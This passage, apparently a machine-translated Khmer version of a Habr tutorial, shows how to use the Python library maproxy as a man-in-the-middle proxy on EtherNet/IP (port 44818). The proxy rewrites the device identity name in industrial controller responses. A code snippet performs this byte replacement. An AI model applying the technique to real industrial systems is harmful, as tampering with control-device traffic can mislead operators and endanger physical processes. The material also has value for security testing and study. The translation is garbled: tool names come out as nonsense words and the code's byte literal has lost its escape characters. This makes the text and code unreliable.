αž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αž’αžαŸ’αžαžŸαž‰αŸ’αž‰αžΆαžŽαž§αž”αž€αžšαžŽαŸαžαŸ’αžšαžΌαžœαž”αžΆαž“αžŸαž˜αŸ’αžšαŸαž…αžŠαŸ„αž™αž”αŸ’αžšαžΎαž–αž·αž’αžΈαž€αžΆαžšαž’αŸŠαžΈαžŸαžΊαžšαžŽαž·αž/IP αžŠαŸ‚αž›αž‡αžΆαž€αŸ†αžŽαŸ‚αž”αŸ’αžšαžŸαžΎαžšαž‘αžΎαž„αž“αŸƒαž–αž·αž’αžΈαž€αžΆαžšαž’αŸŠαžΈαžŸαžΊαžšαžŽαž·αžαž§αžŸαŸ’αžŸαžΆαž αž€αž˜αŸ’αž˜αžŠαŸ‚αž›αž‚αŸ’αžšαž”αžŠαžŽαŸ’αžαž”αŸ‹αž–αž·αž’αžΈαž€αžΆαžšαž‚αŸ’αžšαž”αŸ‹αž‚αŸ’αžšαž„αžŠαžΌαž…αž‡αžΆ CIP αž‡αžΆαžŠαžΎαž˜αŸ” αž™αžΎαž„αž“αžΉαž„αž•αŸ’αž›αžΆαžŸαŸ‹αž”αŸ’αžαžΌαžšαžˆαŸ’αž˜αŸ„αŸ‡ ID αžŠαŸ‚αž›αž”αžΆαž“αž”αž“αŸ’αž›αž·αž…αžŠαŸ‚αž›αž’αžΆαž…αž˜αžΎαž›αžƒαžΎαž‰αž“αŸ…αž€αŸ’αž“αž»αž„αžšαžΌαž”αžαžαž’αŸαž€αŸ’αžšαž„αŸ‹ "NI-IndComm αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž’αŸŠαžΈαžŸαžΊαžšαžŽαž·αž" αžŠαŸ„αž™αž”αŸ’αžšαžΎαžŸαŸ’αž‚αŸ’αžšαžΈαž”αž”αŸ’αžšαžΌαž€αžŸαŸŠαžΈαžšαž”αžŸαŸ‹αž™αžΎαž„αŸ” αž™αžΎαž„αž’αžΆαž…αž”αŸ’αžšαžΎαžŸαŸ’αž‚αŸ’αžšαžΈαž”αž‘αžΎαž„αžœαž·αž‰αž”αžΆαž“αŸ” logging_proxy.py αž αžΎαž™αžŸαŸ’αžšαžŠαŸ€αž„αž‚αŸ’αž“αžΆαž“αžΉαž„αž€αŸ‚αž”αŸ’αžšαŸ‚αžœαž·αž’αžΈαžŸαžΆαžŸαŸ’αžαŸ’αžšαžαŸ’αž“αžΆαž€αŸ‹ on_p2s_done_readαž–αžΈαž–αŸ’αžšαŸ„αŸ‡αž™αžΎαž„αž…αž„αŸ‹αž±αŸ’αž™αžˆαŸ’αž˜αŸ„αŸ‡αž’αžαŸ’αžαžŸαž‰αŸ’αž‰αžΆαžŽαž•αŸ’αžŸαŸαž„αž’αžΆαž…αž˜αžΎαž›αžƒαžΎαž‰αž“αŸ…αž›αžΎαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“αž—αŸ’αž‰αŸ€αžœαŸ”

αž›αŸαžαž€αžΌαžŠ:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

αž‡αžΆαžŸαŸ†αžαžΆαž“αŸ‹ αž™αžΎαž„αž”αžΆαž“αžŸαŸ’αž“αžΎαžŸαž»αŸ†αž€αžΆαžšαž€αŸ†αžŽαžαŸ‹αž’αžαŸ’αžαžŸαž‰αŸ’αž‰αžΆαžŽαž§αž”αž€αžšαžŽαŸαž–αžΈαžšαžŠαž„ αž€αžΆαžšαž†αŸ’αž›αžΎαž™αžαž”αž‘αžΈαž–αžΈαžšαž‚αžΊαž‡αžΆαž§αž”αž€αžšαžŽαŸαžŠαžΎαž˜ αž αžΎαž™αž›αŸαžαž‘αžΈαž˜αž½αž™αžαŸ’αžšαžΌαžœαž”αžΆαž“αž€αŸ‚αž”αŸ’αžšαŸ‚αž—αŸ’αž›αžΆαž˜αŸ—αŸ”

αž αžΎαž™αž…αž»αž„αž€αŸ’αžšαŸ„αž™

αž€αŸ’αž“αž»αž„β€‹αž‚αŸ†β€‹αžŽαž·β€‹αžβ€‹αžšαž”αžŸαŸ‹αžαŸ’αž‰αž»αŸ† maproxy αž§αž”αž€αžšαžŽαŸαž„αžΆαž™αžŸαŸ’αžšαž½αž› αž“αž·αž„αžŸαžΆαž˜αž‰αŸ’αž‰ αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αžŸαžšαžŸαŸαžšαž“αŸ…αž€αŸ’αž“αž»αž„ Python αž•αž„αžŠαŸ‚αžš αžŠαžΌαž…αŸ’αž“αŸαŸ‡αžαŸ’αž‰αž»αŸ†αž‡αžΏαžαžΆ αž’αŸ’αž“αž€αž€αŸαž’αžΆαž…αž‘αž‘αž½αž›αž”αžΆαž“αž’αžαŸ’αžαž”αŸ’αžšαž™αŸ„αž‡αž“αŸαž–αžΈαž€αžΆαžšαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžœαžΆαž•αž„αžŠαŸ‚αžšαŸ” αž‡αžΆαž€αžΆαžšαž–αž·αžαžŽαžΆαžŸαŸ‹ αž˜αžΆαž“αž§αž”αž€αžšαžŽαŸαžŸαŸ’αž˜αž»αž‚αŸ’αžšαžŸαŸ’αž˜αžΆαž‰αž‡αžΆαž„αž˜αž»αž“αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš αž“αž·αž„αž€αŸ‚αž”αŸ’αžšαŸ‚αž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰ αž”αŸ‰αž»αž“αŸ’αžαŸ‚αž–αž½αž€αž‚αŸαž€αŸαž‘αžΆαž˜αž‘αžΆαžšαž€αžΆαžšαž™αž€αž…αž·αžαŸ’αžαž‘αž»αž€αžŠαžΆαž€αŸ‹αž”αž“αŸ’αžαŸ‚αž˜αž‘αŸ€αž αž αžΎαž™αž‡αžΆαž’αž˜αŸ’αž˜αžαžΆαžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αž„αŸ’αž€αžΎαžαž‘αžΎαž„αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžšαžŽαžΈαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αž‡αžΆαž€αŸ‹αž›αžΆαž€αŸ‹αž˜αž½αž™ ឧ. αž˜αžΌαžšαŸ‰αžΆαžŽαžΆ, αž˜αŸ‰αžΌαž›αžΈαžŸαž€αžΆ ឬ αž’αžΆαž€αŸ’αžšαž€αŸ‹αž‡αžΈαž“ αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžšαžŽαžΈαžŸαŸ’αžšαžŠαŸ€αž„αž“αžΉαž„αž€αžšαžŽαžΈαž‘αžΈαž”αžΈ ឬ canape αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžšαžŽαžΈαž…αž»αž„αž€αŸ’αžšαŸ„αž™αŸ” αžœαž·αž’αžΈαž˜αž½αž™ αž¬αž˜αž’αŸ’αž™αŸ„αž”αžΆαž™αž•αŸ’αžŸαŸαž„αž‘αŸ€αž αžŠαŸ„αž™αž˜αžΆαž“αž‡αŸ†αž“αž½αž™ maproxy αž’αŸ’αž“αž€αž’αžΆαž…αž’αž“αž»αžœαžαŸ’αžαž‚αŸ†αž“αž·αžαžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αž™αŸ‰αžΆαž„αž†αžΆαž”αŸ‹αžšαž αŸαžŸαžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžΆαžšαžŸαŸ’αž‘αžΆαž€αŸ‹αž…αžΆαž”αŸ‹αž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αžŽαŸ’αžαžΆαž‰ αžŠαŸ„αž™αžŸαžΆαžšαž§αž‘αžΆαž αžšαžŽαŸαžŸαŸ’αž‚αŸ’αžšαžΈαž”αž‚αžΊαž…αŸ’αž”αžΆαžŸαŸ‹αžŽαžΆαžŸαŸ‹αŸ”

αžŸαžΆαž€αž›αŸ’αž”αž„αž™αž“αŸ’αžαž€αžΆαžšαž•αŸ’αž‘αŸ€αž„αž•αŸ’αž‘αžΆαžαŸ‹αž“αŸ…αž€αŸ’αž“αž»αž„ Windows AD

αž”αŸ’αžšαž—αž–: www.habr.com

αž”αž“αŸ’αžαŸ‚αž˜αž˜αžαž·αž™αŸ„αž”αž›αŸ‹